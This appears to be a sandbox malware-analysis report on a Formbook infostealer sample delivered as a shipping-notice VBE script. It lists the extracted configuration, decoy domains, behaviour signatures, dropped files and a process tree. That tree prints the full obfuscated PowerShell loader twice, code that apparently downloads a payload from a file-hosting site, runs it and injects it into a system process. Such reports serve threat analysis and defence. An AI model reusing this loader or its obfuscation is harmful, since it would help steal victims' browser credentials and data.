Analysis

  • max time kernel
    150s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    10/07/2024, 05:56

General

  • Target
    Arrival Notice_AWB 4560943391.vbe
  • Size 17KB
  • Sample240710-gm124aselb
  • SHA256 5345c78a28cb770a6742f203db63b35f7d0d1ad6e63c1f0780e9c8e21153ebc4
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • formbook

Version
  • 4.1

Campaign
  • ss24

Decoy
  • agingwellhc.com

  • unikbetanggur.autos

  • eb2024yl.top

  • ja380.xyz

  • thehalcyon.studio

  • maudsoogrim.com

  • esteler10.click

  • mewtcp.xyz

  • www-zjbf1.club

  • kucinglucu.online

  • lunwencheck.com

  • 65597.photos

  • erbxeu358h.top

  • startable.online

  • yousend.xyz

  • csharksg.com

  • centricoatings.com

  • ntruhslearn.xyz

  • achabakra.xyz

  • zuntool.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Formbook payload 3 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Arrival Notice_AWB 4560943391.vbe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2916
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork';If (${host}.CurrentCulture) {$Prisstops++;}Function Sematology($Kandernes){$Beslutningsreferat=$Kandernes.Length-$Prisstops;$Affluently='SUBsTR';$Affluently+='ing';For( $Thermolyze=2;$Thermolyze -lt $Beslutningsreferat;$Thermolyze+=3){$Kludens+=$Kandernes.$Affluently.Invoke( $Thermolyze, $Prisstops);}$Kludens;}function Menecrates($Veratrize){ & ($Truddo) ($Veratrize);}$Unitarianism=Sematology '.aM .oFazDai ElHal .aAl/.r5 o.Pa0 I .e(AnWSvi n d MoM wDrs.a S NR T m Ga1Re0Pt..e0 ,;De SaW PiAtncl6Di4 i;Pe Mix F6ou4Ox;po MurM.v .:Ad1Bo2K 1M.. .0Ko)El F,GEne .cS.k PoUn/Ga2s.0.o1,o0Od0My1Ny0Ca1By TFO.iB.rD e efAgoCexSy/ .1b.2No1,y.St0Pi ';$Antireducing=Sematology 'h.URasDeeOvrPy- HA tg aeVenLatMo ';$Herredmme=Sematology ' FhUntE.tKop,ns ,:Re/ ./P,dP r i PvSeeA,.CogE,o DoHeg lOrePs. cSkoBymAm/Tru ,cnu?LneCox BpVoo,kr .tRe=Tjd So Mw ,n OlKhoStaSvdH,&,yi LdUn=Ub1 HuTaOInYle-P.NJ,5D 9SkC,irReIV.- BlUd3Pl7 S6 FTHi1IrfBiJHa6 VD aW R7KlLIseLeBAd5A,xBa3Ph3maNOvYOp ';$hollock=Sematology 'Fo> c ';$Truddo=Sematology 'AfiA,e ,xBe ';$Efterbevilger202='Surprizing';$Acetones = Sematology 'IneN c.ehproZ, De% .a,ep ,pPedGoaNitLjaQu%L.\F,SDiyUnn Jtspafog ,mUne.ut KsRe. IJI.iLezSa Mi&Ne&pr ,ee ecbahhao A LatPs ';Menecrates (Sematology ' K$M.gFilCioNabTiaC lRh:A HscaUdcMuk.nn Le kybleAnd r=m ( rc .m SdBu af/SecRe La$P Ak,c GePotMioVinDyeCasPr)Au ');Menecrates (Sematology 'T.$.igGrl ro.abdyaHylSp:skK ,e aOcrSun,e= P$ EH.ve .r Cr eWodE.m RmPaeSl.Hus,ipSpl Li St .(Be$.ihHvoChlfolDaoT cCoksu)Re ');Menecrates (Sematology ' O[ BN,ae t ,. ,S ,eSurSevReiMacKne ,PUoo,eiT n,otReMb a ,nNoa RgSteBlrS ] .:My: IS AeH.cAbu rKri UtC.y UP .rE o DtBloAdc MoP,lAn S= . c[f,NLoe StSc.BaS.ieM cSvu TrApi tBlyTrP Ar Ao.xt ,o ScReo OlLaTCey ep neun]Su: :SpTMolP.sEx1Ch2El ');$Herredmme=$Kearn[0];$Territoried= (Sematology 'Si$.ogDelImoD,bMiaHolA,:AlMI.ospnS,iA cPr=E NAueBrwCa-UvO .bQuj ieIncIdt.a ,aS Ry nsBet e,dm.o.SyN beOutDa. ,W,oebobTaCEtlVriSueSyn Ut');$Territoried+=$Hackneyed[1];Menecrates ($Territoried);Menecrates (Sematology 'Do$ SMBooP nNeiSpcL.. Hpoe,iatrdB ererKasDi[ D$ AT nInt yiHorN.eHedHauO.c ti InPegHy]Ep= V$OpUN nBii et iaUnrHii aaPunNyi CsL,mA, ');$Interterritorial=Sematology '.n$MeM No en .i c.i.AfDUdoH wAsn,ilNoo Ua tdKoF iiCpl e ,(Ud$InHTyeTrrRyrRieFjd OmGemCteDe,F.$M,D,saint.ha DlNoiInsAet ,er.) . ';$Dataliste=$Hackneyed[0];Menecrates (Sematology ' $Isg AlaroOvbBraVilUn:KaID.nP,fAclTeaPltR iWooYanUneOunLasFi=.n(E,TDieA.sCotDa-,dP ,aMetSah,i Ud$MoDPaaOstUna olafic.sKatOmesa)Aa ');while (!$Inflationens) {Menecrates (Sematology ' A$OvgS lVoo Rb IaOpl M:,rU anf.sWauA,bBejBeeUnc ,tPaiSvvPsePr= ,$Fot rBuuBreRn ') ;Menecrates $Interterritorial;Menecrates (Sematology ' ,S ,tDuaFor at D-ReSchlEne PeAnpKa ,e4Ro ');Menecrates (Sematology 'Ra$.egKalSuovrbBlaSvlLo:UnIOpnLifSglAfaSktFri poG,nHae NnL.sTe= F(AnT.ee .s Gt A-lePTeaLit nhAp Po$PaDSoaAatteaJelB.i TsSltBle,i)B. ') ;Menecrates (Sematology 'Kv$ pgChlHaoUfb BaEmlTr: .AZesGup,ia r ha.igB,uVas JsHaeH,n ,=Sp$Abg olVeo BbE a KlSc: R So SgMyaS,hRen VsOr+ A+ p%In$SuK KeToaTir,fnRe.C.cDeo.euU.n,at S ') ;$Herredmme=$Kearn[$Asparagussen];}$Upshooting131=299512;$Jeroen=27258;Menecrates (Sematology 'Ou$Eng ilf.oUebSua Plaf: TCS,r .yBrpGytH,o ks ftSaoChmPsa.r B,= B usG Se,et -PnC Tol.n FtC,e .nA.t M $GoD .aBrtElaFal.ai s Bt HeD. ');Menecrates (Sematology ' I$ Ng RlAvos bVea,alB,:InT,ehGaoCarDrhR iF lnid Fs S ,h=Fi Av[ HSguyFasBrtFoeSumVa.UnCKaoHjnImvHeeBerbotfl]Pi: M: lFSor eo RmAlBEnaPrs.aeSt6H.4CySSutGorAdiUpnIlg N( S$RaCAfrHiyi,pK.tV oUhsIst.ioSem SaSt)Dr ');Menecrates (Sematology 'N $KlgOxl ,oAdbpra Bl F:,iS ec Uhtjm SiVed,ntTesSp aa=Ch Li[ ,SBryensMutA,e ,m M.FlTB,e ,x.etA..A,EB,nCoc oFadaviWan BgUn]Di:De:BaA PSI,C.sISkIOv.ToGpeePrtE.S StDyrO.i Tn Hg u( B$stT,ihKao Gr hhMaiMalCod Vs F)un ');Menecrates (Sematology 'Ch$B gPel moTrbTaa ,l .:,lAKll pfPea rbI.eFrtFeiSts .e,erbreInnChdSoe Ss A=S.$ PS ,c.ohQumBii .dslt rsOc. Ds Nu,pb osBotFrr i,inChgMo(am$ErU .pB.sNoh loTio.dt .ikon egFo1Le3.n1Hy,La$ SJ.eeFirBuoTaeD,n G),a ');Menecrates $Alfabetiserendes;"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Syntagmets.Jiz && echo t"
          4⤵
            PID:3012
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork Kludens Rogahns Asparagussen Kearn Herredmme sammenskrunings Revivalize Surprizing Cryptostoma Copihues Unaidedly Schmidts Chemoresistance Calked Plusfours Jinks Skibsvrfterne mindsteindtgternes Ozarkite Bemandinger18 Neencephala Dataliste Hvningernes Masonwork';If (${host}.CurrentCulture) {$Prisstops++;}Function Sematology($Kandernes){$Beslutningsreferat=$Kandernes.Length-$Prisstops;$Affluently='SUBsTR';$Affluently+='ing';For( $Thermolyze=2;$Thermolyze -lt $Beslutningsreferat;$Thermolyze+=3){$Kludens+=$Kandernes.$Affluently.Invoke( $Thermolyze, $Prisstops);}$Kludens;}function Menecrates($Veratrize){ & ($Truddo) ($Veratrize);}$Unitarianism=Sematology '.aM .oFazDai ElHal .aAl/.r5 o.Pa0 I .e(AnWSvi n d MoM wDrs.a S NR T m Ga1Re0Pt..e0 ,;De SaW PiAtncl6Di4 i;Pe Mix F6ou4Ox;po MurM.v .:Ad1Bo2K 1M.. .0Ko)El F,GEne .cS.k PoUn/Ga2s.0.o1,o0Od0My1Ny0Ca1By TFO.iB.rD e efAgoCexSy/ .1b.2No1,y.St0Pi ';$Antireducing=Sematology 'h.URasDeeOvrPy- HA tg aeVenLatMo ';$Herredmme=Sematology ' FhUntE.tKop,ns ,:Re/ ./P,dP r i PvSeeA,.CogE,o DoHeg lOrePs. cSkoBymAm/Tru ,cnu?LneCox BpVoo,kr .tRe=Tjd So Mw ,n OlKhoStaSvdH,&,yi LdUn=Ub1 HuTaOInYle-P.NJ,5D 9SkC,irReIV.- BlUd3Pl7 S6 FTHi1IrfBiJHa6 VD aW R7KlLIseLeBAd5A,xBa3Ph3maNOvYOp ';$hollock=Sematology 'Fo> c ';$Truddo=Sematology 'AfiA,e ,xBe ';$Efterbevilger202='Surprizing';$Acetones = Sematology 'IneN c.ehproZ, De% .a,ep ,pPedGoaNitLjaQu%L.\F,SDiyUnn Jtspafog ,mUne.ut KsRe. IJI.iLezSa Mi&Ne&pr ,ee ecbahhao A LatPs ';Menecrates (Sematology ' K$M.gFilCioNabTiaC lRh:A HscaUdcMuk.nn Le kybleAnd r=m ( rc .m SdBu af/SecRe La$P Ak,c GePotMioVinDyeCasPr)Au ');Menecrates (Sematology 'T.$.igGrl ro.abdyaHylSp:skK ,e aOcrSun,e= P$ EH.ve .r Cr eWodE.m RmPaeSl.Hus,ipSpl Li St .(Be$.ihHvoChlfolDaoT cCoksu)Re ');Menecrates (Sematology ' O[ BN,ae t ,. ,S ,eSurSevReiMacKne ,PUoo,eiT n,otReMb a ,nNoa RgSteBlrS ] .:My: IS AeH.cAbu rKri UtC.y UP .rE o DtBloAdc MoP,lAn S= . c[f,NLoe StSc.BaS.ieM cSvu TrApi tBlyTrP Ar Ao.xt ,o ScReo OlLaTCey ep neun]Su: :SpTMolP.sEx1Ch2El ');$Herredmme=$Kearn[0];$Territoried= (Sematology 'Si$.ogDelImoD,bMiaHolA,:AlMI.ospnS,iA cPr=E NAueBrwCa-UvO .bQuj ieIncIdt.a ,aS Ry nsBet e,dm.o.SyN beOutDa. ,W,oebobTaCEtlVriSueSyn Ut');$Territoried+=$Hackneyed[1];Menecrates ($Territoried);Menecrates (Sematology 'Do$ SMBooP nNeiSpcL.. Hpoe,iatrdB ererKasDi[ D$ AT nInt yiHorN.eHedHauO.c ti InPegHy]Ep= V$OpUN nBii et iaUnrHii aaPunNyi CsL,mA, ');$Interterritorial=Sematology '.n$MeM No en .i c.i.AfDUdoH wAsn,ilNoo Ua tdKoF iiCpl e ,(Ud$InHTyeTrrRyrRieFjd OmGemCteDe,F.$M,D,saint.ha DlNoiInsAet ,er.) . ';$Dataliste=$Hackneyed[0];Menecrates (Sematology ' $Isg AlaroOvbBraVilUn:KaID.nP,fAclTeaPltR iWooYanUneOunLasFi=.n(E,TDieA.sCotDa-,dP ,aMetSah,i Ud$MoDPaaOstUna olafic.sKatOmesa)Aa ');while (!$Inflationens) {Menecrates (Sematology ' A$OvgS lVoo Rb IaOpl M:,rU anf.sWauA,bBejBeeUnc ,tPaiSvvPsePr= ,$Fot rBuuBreRn ') ;Menecrates $Interterritorial;Menecrates (Sematology ' ,S ,tDuaFor at D-ReSchlEne PeAnpKa ,e4Ro ');Menecrates (Sematology 'Ra$.egKalSuovrbBlaSvlLo:UnIOpnLifSglAfaSktFri poG,nHae NnL.sTe= F(AnT.ee .s Gt A-lePTeaLit nhAp Po$PaDSoaAatteaJelB.i TsSltBle,i)B. ') ;Menecrates (Sematology 'Kv$ pgChlHaoUfb BaEmlTr: .AZesGup,ia r ha.igB,uVas JsHaeH,n ,=Sp$Abg olVeo BbE a KlSc: R So SgMyaS,hRen VsOr+ A+ p%In$SuK KeToaTir,fnRe.C.cDeo.euU.n,at S ') ;$Herredmme=$Kearn[$Asparagussen];}$Upshooting131=299512;$Jeroen=27258;Menecrates (Sematology 'Ou$Eng ilf.oUebSua Plaf: TCS,r .yBrpGytH,o ks ftSaoChmPsa.r B,= B usG Se,et -PnC Tol.n FtC,e .nA.t M $GoD .aBrtElaFal.ai s Bt HeD. ');Menecrates (Sematology ' I$ Ng RlAvos bVea,alB,:InT,ehGaoCarDrhR iF lnid Fs S ,h=Fi Av[ HSguyFasBrtFoeSumVa.UnCKaoHjnImvHeeBerbotfl]Pi: M: lFSor eo RmAlBEnaPrs.aeSt6H.4CySSutGorAdiUpnIlg N( S$RaCAfrHiyi,pK.tV oUhsIst.ioSem SaSt)Dr ');Menecrates (Sematology 'N $KlgOxl ,oAdbpra Bl F:,iS ec Uhtjm SiVed,ntTesSp aa=Ch Li[ ,SBryensMutA,e ,m M.FlTB,e ,x.etA..A,EB,nCoc oFadaviWan BgUn]Di:De:BaA PSI,C.sISkIOv.ToGpeePrtE.S StDyrO.i Tn Hg u( B$stT,ihKao Gr hhMaiMalCod Vs F)un ');Menecrates (Sematology 'Ch$B gPel moTrbTaa ,l .:,lAKll pfPea rbI.eFrtFeiSts .e,erbreInnChdSoe Ss A=S.$ PS ,c.ohQumBii .dslt rsOc. Ds Nu,pb osBotFrr i,inChgMo(am$ErU .pB.sNoh loTio.dt .ikon egFo1Le3.n1Hy,La$ SJ.eeFirBuoTaeD,n G),a ');Menecrates $Alfabetiserendes;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1976
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Syntagmets.Jiz && echo t"
              5⤵
                PID:2436
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe"
                5⤵
                • Suspicious use of NtCreateThreadExHideFromDebugger
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                • Suspicious use of AdjustPrivilegeToken
                PID:2656
        • C:\Windows\SysWOW64\cscript.exe
          "C:\Windows\SysWOW64\cscript.exe"
          2⤵
          • Adds policy Run key to start application
          • Suspicious use of SetThreadContext
          • Modifies Internet Explorer settings
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2076
          • C:\Program Files\Mozilla Firefox\Firefox.exe
            "C:\Program Files\Mozilla Firefox\Firefox.exe"
            3⤵
              PID:804

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              GODXTL4BZWCC494EK2UG.temp

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GODXTL4BZWCC494EK2UG.temp
              • Size 7KB
              • SHA256 5b793c931fb4f3be09e7cef754d1bf27e5585078ee018ad9800249095942a10e
              • MD5 SHA1 SHA512 SSDEEP

              Syntagmets.Jiz

              • Path C:\Users\Admin\AppData\Roaming\Syntagmets.Jiz
              • Size 425KB
              • SHA256 38cacda77c96dec08454c72398c8d2ba0fbb98e593700731352268137a9298d0
              • MD5 SHA1 SHA512 SSDEEP

              memory/1976-15-0x0000000006760000-0x0000000009D0E000-memory.dmp

              memory/2076-47-0x0000000000070000-0x000000000009F000-memory.dmp

              memory/2076-46-0x0000000000890000-0x00000000008B2000-memory.dmp

              memory/2656-42-0x0000000000400000-0x0000000000581000-memory.dmp

              memory/2656-25-0x0000000000400000-0x0000000000581000-memory.dmp

              memory/2656-44-0x0000000000400000-0x0000000000581000-memory.dmp

              memory/2696-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2696-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2696-6-0x000000001B530000-0x000000001B812000-memory.dmp

              memory/2696-16-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2696-17-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

              memory/2696-4-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

              memory/2696-43-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

              memory/2696-7-0x00000000022C0000-0x00000000022C8000-memory.dmp

              memory/2696-5-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp